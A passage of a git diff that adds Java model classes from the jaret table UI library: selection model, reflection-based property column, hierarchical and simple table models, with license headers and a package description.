set.add(cell); + } + + } + set.addAll(_cells); + return set; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableSelectionModelImpl.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableSelectionModelImpl.java new file mode 100644 index 0000000..73808d5 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/JaretTableSelectionModelImpl.java @@ -0,0 +1,273 @@ +/* + * File: JaretTableSelectionModelImpl.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.ArrayList; +import java.util.List; +import java.util.Vector; + +/** + * Implementation of the JaretTableSelectionModel. + * + * @author Peter Kliem + * @version $Id: JaretTableSelectionModelImpl.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class JaretTableSelectionModelImpl implements IJaretTableSelectionModel { + /** listeners to inform. */ + protected List _listeners; + + /** true for allowance of full row selection. */ + protected boolean _fullRowSelectionAllowed = true; + + /** true for allowance of full column selection. */ + protected boolean _fullColumnSelectionAllowed = true; + + /** true for allowance of single cell selection. */ + protected boolean _cellSelectioAllowed = true; + + /** true if multiple selection of more than one elemnt is allowed. */ + protected boolean _multipleSelectionAllowed = true; + + /** true if only row selections are allowed. */ + protected boolean _onlyRowSelectionAllowed = false; + + /** the selection data store. */ + protected IJaretTableSelection _selection = new JaretTableSelectionImpl(); + + /** + * {@inheritDoc} + */ + public void clearSelection() { + List l = new ArrayList(); + l.addAll(_selection.getSelectedRows()); + for (IRow row : l) { + remSelectedRow(row); + } + List c = new ArrayList(); + c.addAll(_selection.getSelectedColumns()); + for (IColumn col : c) { + remSelectedColumn(col); + } + List t = new ArrayList(); + t.addAll(_selection.getSelectedCells()); + for (IJaretTableCell cell : t) { + remSelectedCell(cell); + } + } + + /** + * {@inheritDoc} + */ + public boolean isFullRowSelectionAllowed() { + return _fullRowSelectionAllowed; + } + + /** + * {@inheritDoc} + */ + public void setFullRowSelectionAllowed(boolean allowed) { + _fullRowSelectionAllowed = allowed; + } + + /** + * {@inheritDoc} + */ + public boolean isFullColumnSelectionAllowed() { + return _fullColumnSelectionAllowed; + } + + /** + * {@inheritDoc} + */ + public void setFullColumnSelectionAllowed(boolean allowed) { + _fullColumnSelectionAllowed = allowed; + } + + /** + * {@inheritDoc} + */ + public boolean isCellSelectionAllowed() { + return _cellSelectioAllowed; + } + + /** + * {@inheritDoc} + */ + public void setCellSelectionAllowed(boolean allowed) { + _cellSelectioAllowed = allowed; + } + + /** + * {@inheritDoc} + */ + public boolean isMultipleSelectionAllowed() { + return _multipleSelectionAllowed; + } + + /** + * {@inheritDoc} + */ + public void setMultipleSelectionAllowed(boolean allowed) { + _multipleSelectionAllowed = allowed; + } + + /** + * {@inheritDoc} + */ + public void addSelectedRow(IRow row) { + if (!_selection.getSelectedRows().contains(row)) { + _selection.addRow(row); + fireRowSelectionAdded(row); + } + } + + /** + * {@inheritDoc} + */ + public void remSelectedRow(IRow row) { + if (_selection.getSelectedRows().contains(row)) { + _selection.remRow(row); + fireRowSelectionRemoved(row); + } + } + + /** + * {@inheritDoc} + */ + public void addSelectedColumn(IColumn column) { + if (!_selection.getSelectedColumns().contains(column)) { + _selection.addColumn(column); + fireColumnSelectionAdded(column); + } + } + + /** + * {@inheritDoc} + */ + public void remSelectedColumn(IColumn column) { + if (_selection.getSelectedColumns().contains(column)) { + _selection.remColumn(column); + fireColumnSelectionRemoved(column); + } + } + + /** + * {@inheritDoc} + */ + public void addSelectedCell(IJaretTableCell cell) { + if (!_selection.getSelectedCells().contains(cell)) { + _selection.addCell(cell); + fireCellSelectionAdded(cell); + } + } + + /** + * {@inheritDoc} + */ + public void remSelectedCell(IJaretTableCell cell) { + if (_selection.getSelectedCells().contains(cell)) { + _selection.remCell(cell); + fireCellSelectionRemoved(cell); + } + } + + /** + * {@inheritDoc} + */ + public IJaretTableSelection getSelection() { + return _selection; + } + + + + private void fireRowSelectionAdded(IRow row) { + if (_listeners != null) { + for (IJaretTableSelectionModelListener listener : _listeners) { + listener.rowSelectionAdded(row); + } + } + } + + private void fireRowSelectionRemoved(IRow row) { + if (_listeners != null) { + for (IJaretTableSelectionModelListener listener : _listeners) { + listener.rowSelectionRemoved(row); + } + } + } + + private void fireColumnSelectionAdded(IColumn column) { + if (_listeners != null) { + for (IJaretTableSelectionModelListener listener : _listeners) { + listener.columnSelectionAdded(column); + } + } + } + + private void fireColumnSelectionRemoved(IColumn column) { + if (_listeners != null) { + for (IJaretTableSelectionModelListener listener : _listeners) { + listener.columnSelectionRemoved(column); + } + } + } + + private void fireCellSelectionAdded(IJaretTableCell cell) { + if (_listeners != null) { + for (IJaretTableSelectionModelListener listener : _listeners) { + listener.cellSelectionAdded(cell); + } + } + } + + private void fireCellSelectionRemoved(IJaretTableCell cell) { + if (_listeners != null) { + for (IJaretTableSelectionModelListener listener : _listeners) { + listener.cellSelectionRemoved(cell); + } + } + } + + /** + * {@inheritDoc} + */ + public synchronized void addTableSelectionModelListener(IJaretTableSelectionModelListener jtsm) { + if (_listeners == null) { + _listeners = new Vector(); + } + _listeners.add(jtsm); + + } + + /** + * {@inheritDoc} + */ + public void removeTableSelectionModelListener(IJaretTableSelectionModelListener jtsm) { + if (_listeners != null) { + _listeners.remove(jtsm); + } + } + + /** + * {@inheritDoc} + */ + public boolean isOnlyRowSelectionAllowed() { + return _onlyRowSelectionAllowed; + } + + /** + * {@inheritDoc} + */ + public void setOnlyRowSelectionAllowed(boolean allowed) { + _onlyRowSelectionAllowed = allowed; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/PropCol.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/PropCol.java new file mode 100644 index 0000000..4a35e1c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/PropCol.java @@ -0,0 +1,292 @@ +/* + * File: PropCol.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.StringTokenizer; + +/** + * Column implementation for the jaret table using reflection (getPropName, setPropName) to retrieve the column value. + * Does not support listening for property changes on the underlying POJO (But will fire a valueChanged if the model is + * changed by setValue). Supports property paths and an optional accessor (IPropColAccessor). + * + * @todo error handling is NOT implemented correct + * + * @author Peter Kliem + * @version $Id: PropCol.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class PropCol extends AbstractColumn implements IColumn { + /** id string. */ + protected String _id; + + /** header label string. */ + protected String _headerLabel; + + /** name of the mapped property (or path separeted by dots). */ + protected String _prop; + + /** array of property names parsed from the property. */ + protected String[] _propPath; + + /** true if the col should be able to sort the table. */ + protected boolean _supportSorting = true; + + /** true if the column is editable. */ + protected boolean _editable = true; + + /** content class if specified directly. */ + protected Class _contentClass; + + /** optional accessor. */ + protected IPropColAccessor _accessor = null; + + /** + * Construct the column. + * + * @param id id of the column + * @param label header label + * @param prop property name (usually starting with a capital letter or path) + * @param contentClass class of the objects held by the column + * @param accessor optinal accessor to be invoked on the property to retrive/set the value + */ + public PropCol(String id, String label, String prop, Class contentClass, IPropColAccessor accessor) { + super(); + _headerLabel = label; + _id = id; + _prop = prop; + initPropPath(); + _contentClass = contentClass; + _accessor = accessor; + } + + /** + * Construct the column. + * + * @param id id of the column + * @param label header label + * @param prop property name (usually starting with a capital letter or path) + * @param contentClass class of the objects held by the column + */ + public PropCol(String id, String label, String prop, Class contentClass) { + this(id, label, prop, contentClass, null); + } + + /** + * Construct the column. + * + * @param id id of the column + * @param label header label + * @param prop property name (usually starting with a capital letter or path) + */ + public PropCol(String id, String label, String prop) { + this(id, label, prop, null); + } + + /** + * Parse _prop as dot separted string to the array of property names forming an access path to the property. + */ + private void initPropPath() { + StringTokenizer tokenizer = new StringTokenizer(_prop, "."); + List l = new ArrayList(); + while (tokenizer.hasMoreTokens()) { + l.add(tokenizer.nextToken()); + } + _propPath = l.toArray(new String[0]); + } + + /** + * {@inheritDoc} + */ + public String getId() { + return _id; + } + + /** + * {@inheritDoc} + */ + public String getHeaderLabel() { + return _headerLabel; + } + + /** + * {@inheritDoc} + */ + public Object getValue(IRow row) { + if (row != null) { + try { + Object base = row; + for (int i = 0; i < _propPath.length; i++) { + String propName = _propPath[i]; + Method getter = base.getClass().getMethod("get" + propName, new Class[] {}); + base = getter.invoke(base, new Object[] {}); + } + if (_accessor == null) { + return base; + } else { + return _accessor.getValue(base); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + return null; + } + + /** + * {@inheritDoc} + */ + public Class getContentClass(IRow row) { + if (row != null) { + try { + Object base = row; + for (int i = 0; i < _propPath.length; i++) { + String propName = _propPath[i]; + Method getter = base.getClass().getMethod("get" + propName, new Class[] {}); + if (i == _propPath.length - 1) { + return getter.getReturnType(); + } else { + base = getter.invoke(base, new Object[] {}); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + return null; + } + + /** + * Check whether there is a real modification between two (possible null) objects. + * + * @param o1 object1 + * @param o2 object 2 + * @return true if a real modification has been detected + */ + protected boolean isRealModification(Object o1, Object o2) { + if (o1 == null && o2 == null) { + return false; + } + if (o1 != null && o2 == null) { + return true; + } + if (o2 != null && o1 == null) { + return true; + } + return !o1.equals(o2); + } + + /** + * {@inheritDoc} + */ + public void setValue(IRow row, Object value) { + Object oldValue = getValue(row); + if (isRealModification(oldValue, value)) { + try { + Object base = row; + for (int i = 0; i < _propPath.length - 1; i++) { + String propName = _propPath[i]; + Method getter = base.getClass().getMethod("get" + propName, new Class[] {}); + base = getter.invoke(base, new Object[] {}); + } + if (_accessor == null) { + Class clazz; + if (value == null) { + clazz = getContentClass(row); + } else { + clazz = value.getClass(); + if (clazz.equals(Boolean.class)) { + clazz = Boolean.TYPE; + } else if (clazz.equals(Integer.class)) { + clazz = Integer.TYPE; + } else if (clazz.equals(Double.class)) { + clazz = Double.TYPE; + } + } + Method setter = base.getClass().getMethod("set" + _propPath[_propPath.length - 1], + new Class[] {clazz}); + setter.invoke(base, new Object[] {value}); + } else { + _accessor.setValue(base, value); + } + fireValueChanged(row, this, oldValue, value); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException("Could not set value " + e.getLocalizedMessage()); + } + } + } + + /** + * {@inheritDoc} Sorting default behaviour: compare toString(). + */ + @SuppressWarnings("unchecked") + public int compare(IRow r1, IRow r2) { + Object val1 = getValue(r1); + Object val2 = getValue(r2); + if (val1 == null && val2 == null) { + return 0; + } + if (val1 == null) { + return -1; + } + if (val2 == null) { + return 1; + } + // check for comparable types + if (val1.getClass().equals(val2.getClass())) { + if (val1 instanceof Comparable) { + return ((Comparable) val1).compareTo(val2); + } + } + return val1.toString().compareTo(val2.toString()); + } + + /** + * {@inheritDoc} + */ + public boolean supportsSorting() { + return _supportSorting; + } + + /** + * Set whether the column should support sorting. + * + * @param supportSorting true if sorting should be supported + */ + public void setSupportSorting(boolean supportSorting) { + _supportSorting = supportSorting; + } + + /** + * {@inheritDoc} + */ + public Class getContentClass() { + return _contentClass; + } + + /** + * {@inheritDoc} + */ + public boolean isEditable() { + return _editable; + } + + /** + * Set whether the column should be editable. + * + * @param editable true for allow edit + */ + public void setEditable(boolean editable) { + _editable = editable; + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/PropListeningTableModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/PropListeningTableModel.java new file mode 100644 index 0000000..2b7c042 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/PropListeningTableModel.java @@ -0,0 +1,57 @@ +/* + * File: PropListeningTableModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; + +import de.jaret.util.misc.PropertyObservable; + +/** + * Extension of the DefaultJaretTableModel registering itself as a property change listener on each row. + * + * @author Peter Kliem + * @version $Id: PropListeningTableModel.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class PropListeningTableModel extends DefaultJaretTableModel implements PropertyChangeListener { + + /** + * {@inheritDoc} + */ + public void addRow(IRow row) { + super.addRow(row); + if (row instanceof PropertyObservable) { + ((PropertyObservable) row).addPropertyChangeListener(this); + } + } + + /** + * {@inheritDoc} + */ + public void remRow(IRow row) { + super.remRow(row); + if (row instanceof PropertyObservable) { + ((PropertyObservable) row).removePropertyChangeListener(this); + } + + } + + /** + * {@inheritDoc} Evry change will trigger row changed. + */ + public void propertyChange(PropertyChangeEvent evt) { + if (evt.getSource() instanceof IRow) { + fireRowChanged((IRow) evt.getSource()); + } + + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/StdHierarchicalTableModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/StdHierarchicalTableModel.java new file mode 100644 index 0000000..476a910 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/StdHierarchicalTableModel.java @@ -0,0 +1,377 @@ +/* + * File: StdHierarchicalTableModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import de.jaret.util.misc.PropertyObservable; + +/** + * Implementation of a "normal" jaret table model based on a hierarchical jaret table model. The StdHierarchicalmodel + * will listen on propchanges if the nodes are PropertyObservables. + * + * @author Peter Kliem + * @version $Id: StdHierarchicalTableModel.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class StdHierarchicalTableModel extends AbstractJaretTableModel implements IHierarchicalTableViewStateListener, + ITableNodeListener, PropertyChangeListener { + /** + * Current row list = list of visible nodes. + */ + protected List _rows; + + /** the hierarchical model this "normal" model maps. */ + protected IHierarchicalJaretTableModel _hModel; + + /** the hierarchical viewstate responsible for node visibility. */ + protected IHierarchicalTableViewState _hvs; + + /** the list of columns. */ + protected List _cols = new ArrayList(); + + /** + * Construct a new stdhierarchical table model for a viewstate and a hierarchical model. + * + * @param hModel hierarchical table model + * @param hvs hierarchical viewstate + */ + public StdHierarchicalTableModel(IHierarchicalJaretTableModel hModel, IHierarchicalTableViewState hvs) { + _hModel = hModel; + _hvs = hvs; + _hvs.addHierarchicalViewstateListener(this); + updateRowList(); + } + + /** + * Register as propchange listener if node is observable. + * + * @param node node + */ + private void registerPropChange(ITableNode node) { + // listen for propertychanges if we are dealing with a propertyobservable + if (node instanceof PropertyObservable) { + ((PropertyObservable) node).addPropertyChangeListener(this); + } + } + + /** + * Deregister as propchange listener if node is observable. + * + * @param node node + */ + private void deRegisterPropChange(ITableNode node) { + if (node instanceof PropertyObservable) { + ((PropertyObservable) node).removePropertyChangeListener(this); + } + } + + /** + * Update the internal rowlist by traversing the hierarchy. + */ + private void updateRowList() { + _rows = new ArrayList(); + updateRowList(_rows, 0, _hModel.getRootNode(), true); + } + + /** + * Recursive creation of the list of rows. + * + * @param rows list to be filled + * @param level current level + * @param node current node + * @param visible true if visible + */ + private void updateRowList(List rows, int level, ITableNode node, boolean visible) { + if (visible) { + rows.add(node); + registerPropChange(node); + } + + node.addTableNodeListener(this); + + // set the level of the node + node.setLevel(level); + + for (ITableNode n : node.getChildren()) { + updateRowList(rows, level + 1, n, _hvs.isExpanded(node) && visible); + } + } + + /** + * Check whether more siblings exist for a given node on a given level. + * @param node node + * @param level level + * @return true if more siblings exist (even with other parent) + */ + public boolean moreSiblings(ITableNode node, int level) { + int idx = _rows.indexOf(node); + if (idx == -1) { + throw new RuntimeException(); + } + if (node.getLevel() == level) { + return getNextSibling(node) != null; + } else { + ITableNode n = node; + for (int l = node.getLevel(); l > level + 1; l--) { + n = getParent(n); + } + return getNextSibling(n) != null; + } + } + + /** + * Return the next sibling of a node. + * + * @param node node to get the next sibling for + * @return the sibling or null if there is none + */ + public ITableNode getNextSibling(ITableNode node) { + ITableNode parent = getParent(node); + if (parent == null) { + return null; + } + int idx = parent.getChildren().indexOf(node); + if (parent.getChildren().size() > idx + 1) { + return parent.getChildren().get(idx + 1); + } else { + return null; + } + } + + /** + * Retrieve the parent of a particular node. + * + * @param node node + * @return parent of the node or null if it is the root node or is not in the list of nodes (not + * visible) + */ + private ITableNode getParent(ITableNode node) { + int idx = _rows.indexOf(node); + if (idx == -1) { + return null; + } + for (int i = idx - 1; i >= 0; i--) { + ITableNode n = _rows.get(i); + if (n.getChildren().contains(node)) { + return n; + } + } + return null; + } + + /** + * Check whether a node is visible. + * + * @param node node to check + * @return true if the node is visible + */ + public boolean isVisible(ITableNode node) { + return getIdxForNode(node) != -1; + } + + /** + * Get the index of a node in the list of visible nodes. + * + * @param node node to check + * @return index or -1 if not found + */ + private int getIdxForNode(ITableNode node) { + return _rows.indexOf(node); + } + + /** + * {@inheritDoc} + */ + public IRow getRow(int rowIdx) { + return _rows.get(rowIdx); + } + + /** + * {@inheritDoc} + */ + public int getRowCount() { + return _rows.size(); + } + + + /** + * {@inheritDoc} + */ + public void nodeAdded(ITableNode parent, ITableNode newChild) { + newChild.addTableNodeListener(this); + if (_hvs.isExpanded(parent)) { + // search the position of the new child and add the row + Map map = new HashMap(); + posForNode(parent, map); + int pos = map.get(newChild); + _rows.add(pos, newChild); + fireRowAdded(pos, newChild); + // if the new child has children and is expanded, add all of its children + List toAdd = new ArrayList(); + enumerateChildren(newChild, toAdd); + pos++; + for (ITableNode tableNode : toAdd) { + _rows.add(pos, tableNode); + fireRowAdded(pos, tableNode); + pos++; + } + + } + + } + /** + * Fill a list with all children of the given node that are visible. + * + * @param node starting ndoe + * @param children list to fill + */ + private void enumerateChildren(ITableNode node, List children) { + if (node.getChildren() != null && _hvs.isExpanded(node)) { + for (ITableNode tableNode : node.getChildren()) { + children.add(tableNode); + enumerateChildren(tableNode, children); + } + } + } + + /** + * Fill a map with the index positions for the underlying nodes. + * + * @param node starting node + * @param map map to fill with the indizes + * @return "inserted" count for recursive call + */ + private int posForNode(ITableNode node, Map map) { + int idx = getIdxForNode(node); + int count = node.getChildren().size(); + int inserted = 0; + for (int i = 0; i < count; i++) { + ITableNode n = node.getChildren().get(i); + map.put(n, idx + 1 + inserted); + inserted++; + if (_hvs.isExpanded(n) && n.getChildren().size() > 0) { + inserted += posForNode(n, map); + } + } + return inserted; + } + + /** + * {@inheritDoc} + */ + public void nodeRemoved(ITableNode parent, ITableNode removedChild) { + removedChild.removeTableNodeListener(this); + if (_hvs.isExpanded(parent)) { + // remove the row of the child + _rows.remove(removedChild); + fireRowRemoved(removedChild); + // remove the rows of all visible children + List toRemove = new ArrayList(); + enumerateChildren(removedChild, toRemove); + for (ITableNode tableNode : toRemove) { + _rows.remove(tableNode); + fireRowRemoved(tableNode); + } + } + } + + + + + /** + * {@inheritDoc }Handle expansion of a node. This means adding all rows that become visible when expanding. + */ + public void nodeExpanded(ITableNode node) { + nodeExpanded2(node); + } + + /** + * Handle expansion of a node by traversing all children of the node to check whether they are visible. + * + * @param node node expanded + * @return count of nodes that became visible ()= number of insertedlines) + */ + private int nodeExpanded2(ITableNode node) { + int idx = getIdxForNode(node); + int count = node.getChildren().size(); + int inserted = 0; + for (int i = 0; i < count; i++) { + ITableNode n = node.getChildren().get(i); + int newIdx = idx + 1 + inserted; + _rows.add(newIdx, n); + inserted++; + fireRowAdded(newIdx, n); + registerPropChange(n); + if (_hvs.isExpanded(n) && n.getChildren().size() > 0) { + inserted += nodeExpanded2(n); + } + } + return inserted; + } + + /** + * {@inheritDoc} Handle folding of a node. This means removing all rows that "disappear" with folding. + */ + public void nodeFolded(ITableNode node) { + int count = node.getChildren().size(); + for (int i = 0; i < count; i++) { + ITableNode n = node.getChildren().get(i); + if (_hvs.isExpanded(n) && n.getChildren().size() > 0) { + nodeFolded(n); + } + int idx2 = getIdxForNode(n); + // maybe the node is already hidden ... + if (idx2 != -1) { + _rows.remove(idx2); + } + fireRowRemoved(n); + deRegisterPropChange(n); + } + } + + /** + * {@inheritDoc} + */ + public int getColumnCount() { + return _cols.size(); + } + + /** + * {@inheritDoc} + */ + public IColumn getColumn(int idx) { + return _cols.get(idx); + } + + /** + * Add a column to the list of columns. + * + * @param column column to add + */ + public void addColumn(IColumn column) { + _cols.add(column); + fireColumnAdded(_cols.size() - 1, column); + } + + /** + * {@inheritDoc} + */ + public void propertyChange(PropertyChangeEvent evt) { + if (evt.getSource() instanceof IRow) { + fireRowChanged((IRow) evt.getSource()); + } + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/package.html new file mode 100644 index 0000000..3545362 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/package.html @@ -0,0 +1,18 @@ + +

    +This package contains the model and model listeners for the jaret table. +

    +

    +The JaretTableModel is a flat table model consisting of IRow and IColumn objects. +There is an abstract base implementation AbstractJaretTableModel supplying the usual listener helper methods leaving a hole for the oncrete data +supplying model. The DefaultTableModel is ready to use. As Rows any POJO can do. Combined with the PropCol implementation of IColumn properties of the POJO can +easily projected to table columns. +

    +The IHierarchicalTableModel is a hierarchy of ITableNodes (extends IRow) supplying the base for a hierarchy. The DefaultHierarchicalTableModel is a +plain default implementation. The StdHierarchicalTableModel does the job of projecting the hierarchy to the flat model. It is specially handled by the +jaret table in some aspects (folding and unfolding). +

    +The TableViewState is the central interface for controlling visual representation. There is an extension handling the hierachical aspects of a hierarchical +model. +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleColumn.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleColumn.java new file mode 100644 index 0000000..c070e58 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleColumn.java @@ -0,0 +1,127 @@ +/* + * File: SimpleColumn.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model.simple; + +import java.util.HashMap; +import java.util.Map; + +import de.jaret.util.ui.table.model.AbstractColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Simple implementation of a column for use in the SimpleJaretTableModel. + * + * @author kliem + * @version $Id: SimpleColumn.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class SimpleColumn extends AbstractColumn { + /** Map holding the column values. */ + private Map _values = new HashMap(); + /** header label. */ + private String _headerLabel = ""; + /** index of the column. */ + private int _index; + /** + * Tablemodel the column is part of. + */ + private SimpleJaretTableModel _model; + + /** + * Construct a column. + * + * @param index index + * @param model table model the column is part of + */ + public SimpleColumn(int index, SimpleJaretTableModel model) { + _index = index; + _model = model; + } + + /** + * Allow setting of the header label. + * + * @param label the label + */ + public void setHeaderLabel(String label) { + _headerLabel = label; + } + + /** + * {@inheritDoc} Always assume different classes and rely on the object tht is the value. + */ + public Class getContentClass() { + return null; + } + + /** + * {@inheritDoc} + */ + public String getHeaderLabel() { + return _headerLabel; + } + + /** + * {@inheritDoc} + */ + public String getId() { + return Integer.toString(_index); + } + + /** + * {@inheritDoc} + */ + public Object getValue(IRow row) { + return _values.get(((SimpleRow) row).getIndex()); + } + + /** + * {@inheritDoc} + */ + public void setValue(IRow row, Object value) { + Object oldVal = getValue(row); + _values.put(((SimpleRow) row).getIndex(), value); + fireValueChanged(row, this, oldVal, value); + _model.cellChanged(row, this, value); + } + + /** + * {@inheritDoc} + */ + public boolean supportsSorting() { + return true; + } + + /** + * {@inheritDoc} Sorting set null < non-null, non comparables are equal. + */ + @SuppressWarnings("unchecked") + public int compare(IRow o1, IRow o2) { + Object v1 = getValue(o1); + Object v2 = getValue(o2); + if (v1 == null && v2 != null) { + return -1; + } + if (v2 == null && v1 != null) { + return 1; + } + if (v1 instanceof Comparable) { + Comparable c1 = (Comparable) v1; + try { + return c1.compareTo(v2); + } catch (Exception e) { + // ignore + } + } + + return 0; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleJaretTableModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleJaretTableModel.java new file mode 100644 index 0000000..dcdfde5 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleJaretTableModel.java @@ -0,0 +1,129 @@ +/* + * File: SimpleJaretTableModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model.simple; + +import java.util.HashMap; +import java.util.Map; + +import de.jaret.util.ui.table.model.AbstractJaretTableModel; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Imlpementation of a very simple table model for the jaret table. The model is formed of hash maps holding objects, + * allowing storage of values at arbitrary indizes. + * + * @author kliem + * @version $Id: SimpleJaretTableModel.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class SimpleJaretTableModel extends AbstractJaretTableModel { + /** map holding the columns. */ + private Map _cols = new HashMap(); + /** map holding the rows. */ + private Map _rows = new HashMap(); + /** current maximum of the col indizes. */ + private int _colCount = -1; + /** current maximum of the row indizes. */ + private int _rowCount = -1; + + /** + * Set a value. + * + * @param colIdx index of the column (x) + * @param rowIdx index of the row (y) + * @param value value + */ + public void setValueAt(int colIdx, int rowIdx, Object value) { + IColumn col = getColumn(colIdx); + IRow row = getRow(rowIdx); + col.setValue(row, value); + } + + /** + * Get a value. + * + * @param colIdx index of the column (x) + * @param rowIdx index of the row (y) + * @return value at the given index or null if none present + */ + public Object getValueAt(int colIdx, int rowIdx) { + IColumn col = getColumn(colIdx); + return col.getValue(getRow(rowIdx)); + } + + /** + * Set the header label for a column. + * + * @param colIdx index + * @param label label to set + */ + public void setHeaderLabel(int colIdx, String label) { + ((SimpleColumn) getColumn(colIdx)).setHeaderLabel(label); + } + + /** + * {@inheritDoc} + */ + public IColumn getColumn(int idx) { + SimpleColumn col = _cols.get(idx); + if (col == null) { + col = new SimpleColumn(idx, this); + _cols.put(idx, col); + // fireColumnAdded(idx, col); + _colCount = Math.max(_colCount, idx); + } + return col; + } + + /** + * {@inheritDoc} + */ + public int getColumnCount() { + return _colCount + 1; + } + + /** + * {@inheritDoc} + */ + public IRow getRow(int idx) { + SimpleRow row = _rows.get(idx); + if (row == null) { + row = new SimpleRow(idx); + _rows.put(idx, row); + // fireRowAdded(idx, row); + _rowCount = Math.max(_rowCount, idx); + } + return row; + } + + /** + * {@inheritDoc} + */ + public int getRowCount() { + return _rowCount + 1; + } + + /** + * {@inheritDoc} + */ + public void cellChanged(IRow row, SimpleColumn column, Object value) { + fireCellChanged(row, column); + } + + /** + * {@inheritDoc} addColumn is not implementable for the SimpleModel; does nothing. + */ + public void addColumn(IColumn column) { + // do nothing + } + + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleRow.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleRow.java new file mode 100644 index 0000000..939f1d2 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/simple/SimpleRow.java @@ -0,0 +1,72 @@ +/* + * File: SimpleRow.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model.simple; + +import de.jaret.util.ui.table.model.IRow; + +/** + * Simple row implementation based on it's index, used as a marker in the SimpleJaretTableModel. + * + * @author kliem + * @version $Id: SimpleRow.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class SimpleRow implements IRow { + /** index of the column. */ + private int _index; + + /** + * Constructor. + * + * @param idx index + */ + public SimpleRow(int idx) { + _index = idx; + } + + /** + * {@inheritDoc} + */ + public String getId() { + return Integer.toString(_index); + } + + /** + * Retrieve the index of the row. + 